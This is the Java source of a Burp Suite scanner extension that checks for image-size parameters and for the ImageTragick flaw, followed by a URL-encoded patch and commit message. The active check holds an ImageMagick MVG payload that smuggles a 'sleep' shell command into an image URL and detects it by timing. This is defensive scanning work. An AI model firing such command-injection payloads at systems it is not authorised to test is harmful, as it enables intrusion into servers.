package burp;

import java.util.*;

public class BurpExtender implements IBurpExtender, IScannerCheck
{
	IExtensionHelpers helpers;
	IBurpExtenderCallbacks callbacks;

	@Override
	public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
	{
		callbacks.setExtensionName("Image size issues");
		callbacks.registerScannerCheck(this);
		this.callbacks = callbacks;
		this.helpers = callbacks.getHelpers();
	}

	@Override
	public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
		byte[] response = baseRequestResponse.getResponse();
		int offset = helpers.analyzeResponse(response).getBodyOffset();
		int bodyLength = response.length - offset;
		int[] d = SimpleImageSizeReader.getImageSize(response, offset, bodyLength);
		if (d == null) return null;
		IRequestInfo ri = helpers.analyzeRequest(baseRequestResponse.getHttpService(),
				baseRequestResponse.getRequest());
		String width = String.valueOf(d[0]);
		String height = String.valueOf(d[1]);
		IParameter widthParam = null, heightParam = null;
		for (IParameter param : ri.getParameters()) {
			String value = param.getValue();
			if (widthParam == null && width.equals(value)) {
				widthParam = param;
				if (heightParam != null) break;
			}
			else if (heightParam == null && height.equals(value)) {
				heightParam = param;
				if (widthParam != null) break;
			}
		}
		if (widthParam == null || heightParam == null) return null;
		// TODO if only width or height is affected, that'd be still an issue
		int[]  widthMarker = { widthParam.getValueStart(),  widthParam.getValueEnd()};
		int[] heightMarker = {heightParam.getValueStart(), heightParam.getValueEnd()};
		List<int[]> reqMarkers = widthMarker[0] < heightMarker[0] ?
			Arrays.asList(widthMarker, heightMarker) :
			Arrays.asList(heightMarker, widthMarker);
		return Collections.singletonList((IScanIssue)new ImageSizeIssue(
					callbacks.applyMarkers(baseRequestResponse, reqMarkers, null),
					ri.getUrl(), widthParam, heightParam));
	}

	final static byte IMAGETRAGICK_SLEEP_SEC = 5;
	private final static long IMAGETRAGICK_SLEEP_NS = IMAGETRAGICK_SLEEP_SEC * 1000000000L;
	private final static long IMAGETRAGICK_TRESHOLD_NS = 1000000000L;
	private final static byte[] IMAGETRAGICK_PAYLOAD = (
			"push graphic-context\nviewbox 0 0 640 480\n" +
			"fill 'url(https://127.0.0.0/oops.jpg\"|sleep \"" + IMAGETRAGICK_SLEEP_SEC + ")'\n" +
			"pop graphic-context\n").getBytes();

	@Override
	public List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse,
			IScannerInsertionPoint insertionPoint) {
		final byte[] baseValue = helpers.stringToBytes(insertionPoint.getBaseValue());
		int[] d = SimpleImageSizeReader.getImageSize(baseValue, 0, baseValue.length);
		if (d == null) return null;
		final IHttpService hs = baseRequestResponse.getHttpService();
		long baseTime = measureRequest(hs, baseRequestResponse.getRequest());
		long sleepTime = measureRequest(hs, insertionPoint.buildRequest(IMAGETRAGICK_PAYLOAD));
		if (Math.abs(sleepTime - baseTime - IMAGETRAGICK_SLEEP_NS)
				> IMAGETRAGICK_TRESHOLD_NS) return null;
		List<int[]> reqMarkers = Arrays.asList(
				insertionPoint.getPayloadOffsets(IMAGETRAGICK_PAYLOAD));
		IRequestInfo ri = helpers.analyzeRequest(baseRequestResponse.getHttpService(),
				baseRequestResponse.getRequest());
		return Collections.singletonList((IScanIssue)new ImageTragickIssue(
					callbacks.applyMarkers(baseRequestResponse, reqMarkers, null),
					ri.getUrl(), insertionPoint.getInsertionPointName(),
					baseTime, sleepTime));
	}

	private long measureRequest(IHttpService httpService, byte[] request) {
		final long startTime = System.nanoTime();
		callbacks.makeHttpRequest(httpService, request);
		return System.nanoTime() - startTime;
	}

	@Override
	public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) {
		return -1;
	}
}

@@ -2897,29 +2897,81 @@
 t())
-;%0A%09%09long sleepTime = 
+.getKey();%0A%09%09Map.Entry%3CLong, IHttpRequestResponse%3E sleepMeasurement =%0A%09%09%09
 meas
@@ -3037,16 +3037,62 @@
 LOAD));%0A
+%09%09long sleepTime = sleepMeasurement.getKey();%0A
 %09%09if (Ma
@@ -3193,111 +3193,8 @@
 ll;%0A
-%09%09List%3Cint%5B%5D%3E reqMarkers = Arrays.asList(%0A%09%09%09%09insertionPoint.getPayloadOffsets(IMAGETRAGICK_PAYLOAD));%0A
 %09%09IR
@@ -3388,76 +3388,37 @@
 %09%09%09%09
-callbacks.applyMarkers(baseRequestResponse, reqMarkers, null),%0A%09%09%09%09%09
+sleepMeasurement.getValue(), 
 ri.g
@@ -3425,17 +3425,22 @@
 etUrl(),
- 
+%0A%09%09%09%09%09
 insertio
@@ -3470,22 +3470,17 @@
 tName(),
-%0A%09%09%09%09%09
+ 
 baseTime
@@ -3507,20 +3507,53 @@
 private 
-long
+Map.Entry%3CLong, IHttpRequestResponse%3E
  measure
@@ -3646,24 +3646,56 @@
 noTime();%0A%09%09
+IHttpRequestResponse response = 
 callbacks.ma
@@ -3740,16 +3740,86 @@
 %09return 
+new AbstractMap.SimpleImmutableEntry%3CLong, IHttpRequestResponse%3E(%0A%09%09%09%09
 System.n
@@ -3839,16 +3839,27 @@
 tartTime
+, response)
 ;%0A%09%7D%0A%0A%09@

use attack payload in ImageTragick issue